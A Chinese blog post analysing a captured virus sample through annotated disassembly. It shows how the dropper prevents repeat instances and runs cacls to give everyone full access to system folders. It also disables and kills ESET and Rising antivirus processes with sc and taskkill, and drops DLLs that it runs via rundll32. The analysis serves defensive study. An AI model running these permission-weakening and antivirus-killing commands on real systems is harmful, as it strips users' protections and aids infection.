`
谁解怨妇心
  • 浏览: 28388 次
  • 性别: Icon_minigender_2
  • 来自: 广州
社区版块
存档分类
最新评论

随手捉了个毒来分析

阅读更多
    本来暑假前就以外地感染的这个病毒,不过我的系统装了影子系统就没造成大的损害。将病毒的样本留下来打算分析的,结果一直拖啊拖啊拖到现在。
    病毒有三个文件,分别是1.exe、ctfmen.exe以及explorer.exe。先分析1.exe,剩下两个有空在分析。
    用PEID查壳,显示“NsPacK V3.7 -> LiuXingPing”。嗯,很好很强大,虽然没听过,不过看名字就知道不是猛壳,秒杀。
引用

004013FC    E8 FFFBFFFF     call    00401000                         ; 从系统dll中获取相关函数地址
00401401    BE 68454000     mov     esi, 00404568                    ; ASCII "907654"
00401406    56              push    esi
00401407    FF15 3C304000   call    dword ptr [40303C]               ; kernel32.GlobalFindAtomA
0040140D    66:85C0         test    ax, ax                           ; 获取全局原子
00401410    0F87 4A0D0000   ja      00402160                         ; 不为0则表示病毒已在运行,退出

    在一大段无用的对eax的操作后,就到了上面这段代码。只让程序运行一个实例。继续:
引用

00401916    66:81BD E8FEFFF>cmp     word ptr [ebp-118], 7D7
0040191F    0F86 42010000   jbe     00401A67
00401925    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
0040192B    56              push    esi
0040192C    50              push    eax
0040192D    FF15 8C454000   call    dword ptr [40458C]               ; kernel32.GetWindowsDirectoryA
00401933    8B3D 4C304000   mov     edi, dword ptr [40304C]          ; msvcrt.sprintf
00401939    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
0040193F    50              push    eax
00401940    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401946    68 C0444000     push    004044C0                         ; ASCII "cmd /c cacls %s /e /p everyone:f"
0040194B    50              push    eax
0040194C    FFD7            call    edi
0040194E    83C4 0C         add     esp, 0C
00401951    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401957    53              push    ebx
00401958    50              push    eax
00401959    FF15 78454000   call    dword ptr [404578]               ; WinExec(调用cacls更改系统目录的访问权限,下同)
0040195F    8B1D 1C304000   mov     ebx, dword ptr [40301C]          ; kernel32.GetTempPathA
00401965    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
0040196B    50              push    eax
0040196C    56              push    esi
0040196D    FFD3            call    ebx
0040196F    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
00401975    50              push    eax
00401976    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
0040197C    68 9C444000     push    0040449C                         ; ASCII "cmd /c cacls ""%s"" /e /p everyone:f"
00401981    50              push    eax
00401982    FFD7            call    edi
00401984    83C4 0C         add     esp, 0C
00401987    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
0040198D    6A 00           push    0
0040198F    50              push    eax
00401990    FF15 78454000   call    dword ptr [404578]               ; WinExec(调用cacls更改用户目录临时文件夹的访问权限)
00401996    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
0040199C    50              push    eax
0040199D    56              push    esi
0040199E    FFD3            call    ebx
004019A0    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
004019A6    50              push    eax
004019A7    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
004019AD    68 74444000     push    00404474                         ; ASCII "cmd /c sc config ekrn start= disabled"
004019B2    50              push    eax
004019B3    FFD7            call    edi
004019B5    83C4 0C         add     esp, 0C
004019B8    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
004019BE    6A 00           push    0
004019C0    50              push    eax
004019C1    FF15 78454000   call    dword ptr [404578]               ; WinExec(取消ESET Smart Security反病毒软件的开机启动)
004019C7    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
004019CD    50              push    eax
004019CE    56              push    esi
004019CF    FFD3            call    ebx
004019D1    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
004019D7    50              push    eax
004019D8    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
004019DE    68 54444000     push    00404454                         ; ASCII "cmd /c taskkill /im ekrn.exe /f"
004019E3    50              push    eax
004019E4    FFD7            call    edi
004019E6    83C4 0C         add     esp, 0C
004019E9    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
004019EF    6A 00           push    0
004019F1    50              push    eax
004019F2    FF15 78454000   call    dword ptr [404578]               ; WinExec(杀死ESET Smart Security反病毒软件)
004019F8    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
004019FE    50              push    eax
004019FF    56              push    esi
00401A00    FFD3            call    ebx
00401A02    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
00401A08    50              push    eax
00401A09    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401A0F    68 34444000     push    00404434                         ; ASCII "cmd /c taskkill /im egui.exe /f"
00401A14    50              push    eax
00401A15    FFD7            call    edi
00401A17    83C4 0C         add     esp, 0C
00401A1A    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401A20    6A 00           push    0
00401A22    50              push    eax
00401A23    FF15 78454000   call    dword ptr [404578]               ; WinExec(杀死Eset NOD32 Smart Security3.0主程序)
00401A29    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
00401A2F    50              push    eax
00401A30    56              push    esi
00401A31    FFD3            call    ebx
00401A33    8D85 E0FCFFFF   lea     eax, dword ptr [ebp-320]
00401A39    50              push    eax
00401A3A    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401A40    68 10444000     push    00404410                         ; ASCII "cmd /c taskkill /im ScanFrm.exe /f"
00401A45    50              push    eax
00401A46    FFD7            call    edi
00401A48    83C4 0C         add     esp, 0C
00401A4B    8D85 E4FDFFFF   lea     eax, dword ptr [ebp-21C]
00401A51    6A 00           push    0
00401A53    50              push    eax
00401A54    FF15 78454000   call    dword ptr [404578]               ; WinExec(杀瑞星!)
00401A5A    68 88130000     push    1388
00401A5F    FF15 18304000   call    dword ptr [403018]               ; Sleep(休眠5秒)
00401A65    33DB            xor     ebx, ebx
00401A67    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401A6D    56              push    esi
00401A6E    50              push    eax
00401A6F    FF15 8C454000   call    dword ptr [40458C]               ; kernel32.GetWindowsDirectoryA
00401A75    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401A7B    68 FC434000     push    004043FC                         ; ASCII "\system32\func.dll"
00401A80    50              push    eax
00401A81    E8 F4060000     call    0040217A                         ; jmp 到 msvcrt.strcat
00401A86    66:81BD E8FEFFF>cmp     word ptr [ebp-118], 7D7
00401A8F    59              pop     ecx
00401A90    59              pop     ecx
00401A91    BF F8434000     mov     edi, 004043F8                    ; ASCII "BIN"
00401A96    76 21           jbe     short 00401AB9
00401A98    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401A9E    50              push    eax
00401A9F    57              push    edi
00401AA0    68 95000000     push    95
00401AA5    E8 9CF6FFFF     call    00401146                         ; 将资源段附加的func.dll复制到C:\Windows\System32\文件夹下
00401AAA    83C4 0C         add     esp, 0C
00401AAD    53              push    ebx
00401AAE    68 D8434000     push    004043D8                         ; ASCII "rundll32.exe func.dll, droqp"
00401AB3    FF15 78454000   call    dword ptr [404578]               ; WinExec(用rundll32.exe调用func.dll的droqp函数)
00401AB9    8D85 DCFBFFFF   lea     eax, dword ptr [ebp-424]
00401ABF    56              push    esi
00401AC0    50              push    eax
00401AC1    53              push    ebx
00401AC2    FF15 2C304000   call    dword ptr [40302C]               ; kernel32.GetModuleFileNameA
00401AC8    68 204E0000     push    4E20
00401ACD    FF15 18304000   call    dword ptr [403018]               ; kernel32.Sleep
00401AD3    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401AD9    56              push    esi
00401ADA    50              push    eax
00401ADB    FF15 24304000   call    dword ptr [403024]               ; kernel32.GetWindowsDirectoryA
00401AE1    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401AE7    68 CC434000     push    004043CC                         ; ASCII "\phpi.dll"
00401AEC    50              push    eax
00401AED    E8 88060000     call    0040217A                         ; jmp 到 msvcrt.strcat
00401AF2    8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401AF8    50              push    eax
00401AF9    57              push    edi
00401AFA    68 8F000000     push    8F
00401AFF    E8 42F6FFFF     call    00401146                         ; 将资源段附加的phpi.dll复制到C:\Windows\文件夹下

    经过一大段重复的调用GetSystemDirectory的调用(我说作者你不烦的么……),到了上面这段代码。释放了一个dll由rundll32.exe来调用,并将droqp函数作为函数入口。然后又释放了一个dll。经过一段重复的调用……到了下面载入的部分
引用

00401BCF        8D85 F8FEFFFF   lea     eax, dword ptr [ebp-108]
00401BD5        50              push    eax                              ; C:\Windows\phpi.dll
00401BD6        FF15 04304000   call    dword ptr [403004]               ; kernel32.LoadLibraryA
00401BDC        3BC3            cmp     eax, ebx
00401BDE        8945 FC         mov     dword ptr [ebp-4], eax
00401BE1        0F84 79050000   je      00402160

    载入完毕后继续无用的代码,到了获取dll中的函数再调用。
引用

00401FF2        68 A8404000     push    004040A8                         ; ASCII "FF"
00401FF7        FF75 FC         push    dword ptr [ebp-4]
00401FFA        FF15 00304000   call    dword ptr [403000]               ; kernel32.GetProcAddress
00402000        53              push    ebx
00402001        8945 FC         mov     dword ptr [ebp-4], eax
00402004        FFD7            call    edi                              ; kernel32.GetModuleHandleA
00402006        8D85 04F2FFFF   lea     eax, dword ptr [ebp-DFC]
0040200C        50              push    eax
0040200D        53              push    ebx
0040200E        53              push    ebx
0040200F        FF55 FC         call    dword ptr [ebp-4]                ; 调用FF

    关键代码就这些,DLL的分析过几天有空再写orz
分享到:
评论

相关推荐

    Android 随手记 suishouji

    随手记可能运用了数据分析算法,如平均值、中位数、频数分布等,来帮助用户理解消费趋势。这些功能的实现可能涉及到Java的集合框架、数据结构以及统计学知识。同时,通过图表展示数据,如饼图、柱状图等,可以借助...

    随手滑动的demo

    总的来说,"随手滑动的demo"是移动应用开发中的一个重要组成部分,涉及到触摸事件处理、布局管理、动画效果等多个方面。通过分析和学习这些示例代码,开发者不仅可以掌握这一技术,还能从中吸取灵感,创造出更多创新...

    随手记 部分源码

    随手记可能有多个Activity,如主界面、记账界面、统计分析页面等。通过阅读源码,我们可以学习到如何设计和实现复杂的UI布局,以及如何使用意图(Intent)在Activity之间传递数据。 2. **数据存储**:Android提供多种...

    竞品分析报告:叨叨记账 VS 随手记.pdf

    报告涵盖市场背景、产品概述、分析目的、市场分析和用户需求与产品功能等多个方面。 1. **市场背景**: 在宏观经济稳定,居民消费水平提升的背景下,记账类应用的需求逐渐增加,特别是移动端的便捷记账工具,满足...

    随手工具 V2.4 软件包

    随手工具V2.4作为一个桌面应用,可以直接在用户的计算机上安装和运行,无需依赖网络环境。它提供了直观的用户界面和快速的响应速度,使得用户能够轻松访问和管理各种教育资源。 2. **网络查询功能**: 该软件内置...

    java随手画实例

    【Java随手画实例】是一个适合初学者的编程项目,它主要展示了如何使用Java语言实现一个简单的绘图应用程序。这个程序不仅涵盖了基础的编程概念,还涉及到了多线程和客户端/服务器(C/S)架构的应用。以下是这个实例...

    金蝶 随手记 pc 电脑版

    【金蝶随手记 PC 电脑版】是一款专为个人用户设计的财务管理软件,适用于Windows操作系统。...总的来说,金蝶随手记 PC 电脑版是一款实用且功能丰富的个人财务管理工具,是管理和规划个人财务的理想选择。

    类似于随手记的记账软件

    总结来说,这款类似于“随手记”的记账软件,不仅提供了全面的财务记录功能,如记账、银行帐、现金帐和支票帐,还有强大的数据分析能力,通过图表形式帮助用户理解自己的财务状况。其Android平台的适应性使得更多...

    随手记源码

    总结来说,【随手记源码】是一款集记账、理财、分析和提醒功能于一体的财务管理工具,它通过简洁的设计和实用的功能,帮助用户更好地掌握自己的财务状况,实现理性消费和科学理财。源代码的公开也为开发者提供了深入...

    android手机随手记

    总的来说,"Android手机随手记"是一款实用的财务管理工具,通过智能的记账和分析功能,帮助用户养成良好的理财习惯,实现财富增值。无论你是想要控制开支,还是规划储蓄,这款应用都能成为你的得力助手。

    随手记 Android 源代码

    首先,从整体架构上来看,随手记的源代码可能包含了以下几个主要部分: 1. **用户界面(UI)**:Android应用的界面设计通常基于布局文件(XML)和Java/Kotlin代码。源代码中可能包含了各种Activity、Fragment以及...

    android 随手记源码.rar

    【Android随手记源码分析】 本项目名为"android 随手记源码.rar",是一个基于Android平台的笔记应用的源代码。该应用旨在帮助用户快速记录生活、工作中的点滴,提供便捷的记事功能。通过对源码的分析,我们可以深入...

    Android应用源码简洁的随手记事项目源码.

    这个给定的资源是一个关于Android应用开发的源码项目,主要目标是实现一个简洁的随手记事应用。从标题和描述来看,我们可以推测这个项目旨在教授如何构建一个基础的笔记应用,适合初学者或者希望加深对Android应用...

    手写输入,随手写

    在IT行业中,手写输入和随手写技术是人机交互领域的一个重要研究方向,尤其在移动设备和平板电脑上应用广泛。"手写输入,随手写"这一标题所指的,就是一种允许用户通过触控笔或者手指进行手写文字或图形输入,并实时...

    android随手记

    通过深入研究"Android随手记"的源代码,初学者不仅可以掌握基本的Android开发技能,还能了解到一个实际应用的完整生命周期,从而提升自己的编程和解决问题的能力。同时,这个项目的开源特性也鼓励了社区参与和代码...

    我收藏的flash随手抓

    通常,描述会包含更具体的细节,如收藏的Flash类型、主题或者来源,但这里没有提供这些信息,因此我们只能基于标题来推测这可能是一个个人化的、多样化的Flash作品合集。 【标签解析】 标签同样为“我收藏的flash...

    ios-AA记账随手记.zip

    首先,"AA记账随手记"这个名字中的"AA",通常指的是"平均分摊"或者"共同承担"的意思,表明这款应用特别关注多人合帐场景,比如朋友聚会、团队旅行等。它可以帮助用户快速记录并分摊共同消费的费用,避免了因费用结算...

    无广告 随手写

    随手写 方便的记忆文字 图像 视频 音频随手写是市面上唯一一款支持手写键盘混输的软件。可在照片上自由涂鸦,插图,拍照记事和语音记事,允许自由设定桌面小窗口的背景图案、颜色和透明度。 功能特色: 1、小屏幕也...

    简单的随手记事本

    【标题】"简单的随手记事本"是一款专为Android...总的来说,“简单的随手记事本”是一个综合展示了Android应用开发基础技能的实例,包括UI设计、数据管理、用户交互等多个方面,对于初学者来说是一个很好的学习资源。

Global site tag (gtag.js) - Google Analytics